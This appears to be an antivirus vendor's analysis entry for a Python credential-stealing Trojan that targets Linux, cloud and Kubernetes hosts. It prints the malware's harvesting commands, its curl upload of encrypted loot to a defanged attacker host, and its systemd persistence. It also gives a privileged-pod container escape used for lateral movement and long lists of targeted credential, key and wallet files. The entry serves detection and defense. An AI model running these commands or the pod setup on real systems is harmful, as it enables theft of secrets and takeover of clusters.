TrojanSpy.Python.TPCPSTEAL.A

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy adds the following processes:

• hostname
• pwd
• whoami
• uname -a
• ip addr
• ifconfig
• ip route
• printenv
• env | grep AWS_
• curl -s hxxp[://]169[.]254[.]{BLOCKED}0[.]2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
• curl -s hxxp[://]169[.]{BLOCKED}[.]254/latest/meta-data/iam/security-credentials/
• find /var/secrets /run/secrets -type f
• env | grep -i kube
• env | grep -i k8s
• kubectl get secrets --all-namespaces -o json
• env | grep -i google
• env | grep -i gcloud
• cat $GOOGLE_APPLICATION_CREDENTIALS
• env | grep -i azure
• env | grep -iE (DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)
• wg showconf all
• env | grep -i solana
• grep -r rpcuser|rpcpassword|rpcauth /root /home
• cat /var/log/auth.log | grep Accepted | tail -200
• cat /var/log/secure | grep Accepted | tail -200
• grep -r hooks.slack.com|discord.com/api/webhooks .
• grep -rE api[_-]?key|apikey|api[_-]?secret|access[_-]?token .
• openssl rand -out session.key 32
• openssl enc -aes-256-cbc -in collected -out payload.enc -pass file:session.key -pbkdf2
• openssl pkeyutl -encrypt -pubin -inkey pubkey -in session.key -out session.key.enc -pkeyopt rsa_padding_mode:oaep
• tar -czf tpcp.tar.gz -C tmpdir payload.enc session.key.enc
• curl -s -X POST hxxps[://]models[.]{BLOCKED}lm[.]cloud/ -H Content-Type: application/octet-stream -H X-Filename: tpcp.tar.gz --data-binary @tpcp.tar.gz
• systemctl --user daemon-reload
• systemctl --user enable --now sysmon.service

It creates the following folders:

• ~/.config/sysmon/
• ~/.config/systemd/user/

This Trojan Spy drops the following files:

• ~/.config/sysmon/sysmon.py → persistent backdoor script detected as Trojan.Linux.SAGENT.B
• ~/.config/systemd/user/sysmon.service → systemd user service unit named "System Telemetry Service" with Restart=always
• /tmp/pglog
• /tmp/.pg_state

Autostart Technique

This Trojan Spy installs a systemd user service to enable its automatic execution at every system startup:

• Service Name: sysmon.service
• Service Description: System Telemetry Service
• Service Unit File: ~/.config/systemd/user/sysmon.service
• ExecStart: {python} ~/.config/sysmon/sysmon.py
• Restart: always (RestartSec=10)
• KillMode: process
• StandardOutput: null
• StandardError: null

• systemctl --user daemon-reload
• systemctl --user enable --now sysmon.service

Other System Modifications

This Trojan Spy modifies the systemd daemon state via systemctl --user daemon-reload.
In Kubernetes environments, it creates privileged pods in the kube-system namespace on every cluster node with the following configuration:

• Pod Name Pattern: node-setup-{node_name[:35]}
• Container Image: alpine:latest
• Volume Mount: Host root filesystem (/) mounted at /host
• Security Context: privileged: true
• Host PID: true
• Host Network: true
• Tolerations: operator: Exists (schedules on any node including masters)

Propagation

This Trojan Spy propagates laterally across Kubernetes clusters by:

• Authenticating to the Kubernetes API server using the pod's service account Bearer token
• Enumerating all cluster nodes via GET /api/v1/nodes
• Deploying a privileged pod to each node that escapes the container to install persistence on the host filesystem

Dropping Routine

This Trojan Spy drops the following files:

• ~/.config/sysmon/sysmon.py
• ~/.config/systemd/user/sysmon.service
• /tmp/pglog
• /tmp/.pg_state

Download Routine

This Trojan Spy connects to the following website(s) to download and execute a malicious file:

• hxxps[://]{BLOCKED}rx[.]zone/raw

Information Theft

This Trojan Spy gathers the following data:

• • System Information:
    • Hostname (via hostname)
    • Current working directory (via pwd)
    • Current user identity (via whoami)
    • Kernel version and architecture (via uname -a)
    • Network interface configuration (via ip addr / ifconfig)
    • Routing table (via ip route)
    • All environment variables (via printenv)
    • SSH login history (via /var/log/auth.log and /var/log/secure)
  • SSH Keys and Configuration:
    • ~/.ssh/id_rsa
    • ~/.ssh/id_ed25519
    • ~/.ssh/id_ecdsa
    • ~/.ssh/id_dsa
    • ~/.ssh/authorized_keys
    • ~/.ssh/known_hosts
    • ~/.ssh/config
    • All files in ~/.ssh/ directory
    • /etc/ssh/ssh_host_*_key
  • Git Credentials:
    • ~/.git-credentials
    • ~/.gitconfig
  • AWS Credentials:
    • ~/.aws/credentials
    • ~/.aws/config
    • AWS environment variables
    • AWS EC2 IMDS v2 IAM role credentials via hxxp[://]169[.]{BLOCKED}[.]254/latest/meta-data/iam/security-credentials/
    • AWS ECS container credentials via hxxp[://]169[.]254[.]{BLOCKED}0[.]2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
    • AWS Secrets Manager secrets via ListSecrets and GetSecretValue API calls (SigV4 signed)
    • AWS SSM Parameter Store parameters via DescribeParameters API call (SigV4 signed)
  • Kubernetes Credentials:
    • ~/.kube/config
    • /etc/kubernetes/admin.conf
    • /etc/kubernetes/kubelet.conf
    • /etc/kubernetes/controller-manager.conf
    • /etc/kubernetes/scheduler.conf
    • /var/run/secrets/kubernetes.io/serviceaccount/token
    • /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
    • /var/run/secrets/kubernetes.io/serviceaccount/namespace
    • /run/secrets/kubernetes.io/serviceaccount/token
    • /run/secrets/kubernetes.io/serviceaccount/ca.crt
    • All mounted secrets under /var/secrets and /run/secrets
    • Kubernetes environment variables
    • All cluster secrets via kubectl get secrets --all-namespaces -o json
    • Kubernetes API: GET /api/v1/secrets (cluster-wide)
    • Kubernetes API: GET /api/v1/namespaces (enumerate namespaces)
    • Kubernetes API: GET /api/v1/namespaces/{ns}/secrets (per-namespace)
  • GCP Credentials:
    • ~/.config/gcloud/* (recursive)
    • /root/.config/gcloud/application_default_credentials.json
    • Google/GCloud environment variables
    • $GOOGLE_APPLICATION_CREDENTIALS file
  • Azure Credentials:
    • ~/.azure/* (recursive)
    • Azure environment variables
  • Docker Credentials:
    • ~/.docker/config.json
    • /kaniko/.docker/config.json
    • /root/.docker/config.json
  • Database Credentials:
    • ~/.my.cnf
    • ~/.pgpass
    • ~/.mongorc.js
    • /var/lib/postgresql/.pgpass
    • /etc/mysql/my.cnf
    • /etc/redis/redis.conf
    • /etc/postfix/sasl_passwd
    • /etc/msmtprc
    • Database environment variables (DATABASE, DB_, MYSQL, POSTGRES, MONGO, REDIS, VAULT)
  • LDAP Credentials:
    • /etc/ldap/ldap.conf
    • /etc/openldap/ldap.conf
    • /etc/ldap.conf
    • /etc/ldap/slapd.conf
    • /etc/openldap/slapd.conf
  • Environment Files:
    • .env
    • .env.local
    • .env.production
    • .env.development
    • .env.staging
    • .env.test
    • /app/.env
    • /etc/environment
    • Recursive search for .env* files (depth 6)
  • Package Manager and Secret Tokens:
    • ~/.npmrc
    • ~/.vault-token
    • ~/.netrc
    • ~/.lftp/rc
    • ~/.msmtprc
  • Shell Histories:
    • ~/.bash_history
    • ~/.zsh_history
    • ~/.sh_history
    • ~/.mysql_history
    • ~/.psql_history
    • ~/.rediscli_history
  • VPN Credentials:
    • /etc/wireguard/*.conf
    • Running WireGuard configuration via wg showconf all
  • CI/CD and Infrastructure-as-Code:
    • ~/.helm/* (recursive)
    • terraform.tfvars (recursive search)
    • terraform.tfstate (recursive search)
    • .gitlab-ci.yml
    • .travis.yml
    • Jenkinsfile
    • .drone.yml
    • Anchor.toml
    • ansible.cfg
  • SSL/TLS Certificates and Private Keys:
    • /etc/ssl/private/*.key
    • /etc/letsencrypt/**/*.pem
    • Recursive search for .pem, .key, .p12, .pfx files (depth 5)
  • Communication Webhooks and API Keys:
    • Slack webhook URLs (via grep -r hooks.slack.com)
    • Discord webhook URLs (via grep -r discord.com/api/webhooks)
    • API keys and tokens (via grep -rE api[_-]?key|apikey|api[_-]?secret|access[_-]?token)
  • Cryptocurrency Wallets:
    • Bitcoin:
      • ~/.bitcoin/bitcoin.conf
      • ~/.bitcoin/wallet*.dat
    • Litecoin:
      • ~/.litecoin/litecoin.conf
    • Dogecoin:
      • ~/.dogecoin/dogecoin.conf
    • Zcash:
      • ~/.zcash/zcash.conf
    • Dash:
      • ~/.dashcore/dash.conf
    • Ripple (XRP):
      • ~/.ripple/rippled.cfg
    • Monero:
      • ~/.bitmonero/bitmonero.conf
    • Ethereum:
      • ~/.ethereum/keystore/*
    • Cardano:
      • ~/.cardano/*.skey
      • ~/.cardano/*.vkey
    • Solana:
      • ~/.config/solana/*
      • ~/validator-keypair.json
      • ~/vote-account-keypair.json
      • ~/authorized-withdrawer-keypair.json
      • ~/stake-account-keypair.json
      • ~/identity.json
      • ~/faucet-keypair.json
      • ~/ledger/*.json
      • ~/ledger/*.bin
      • /home/sol/validator-keypair.json
      • /home/solana/validator-keypair.json
      • /opt/solana/validator-keypair.json
      • /solana/validator-keypair.json
      • .anchor/**/*.json
      • ./target/deploy/**/*.json
      • ./keys/**/*.json
      • Solana environment variables
      • Cryptocurrency RPC credentials (via grep -r rpcuser|rpcpassword|rpcauth /root /home)
  • System Credentials:
    • /etc/passwd
    • /etc/shadow

Stolen Information

This Trojan Spy sends the gathered information via HTTP POST to the following URL:

• hxxps[://]models[.]{BLOCKED}lm[.]cloud/

Other Details

This Trojan Spy does the following:

• Searches across the following root directories for credential files: /home/*/, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp
• Sleeps 300 seconds (5 minutes) on first launch of the persistence backdoor before beginning C2 polling

However, as of this writing, the said sites are inaccessible.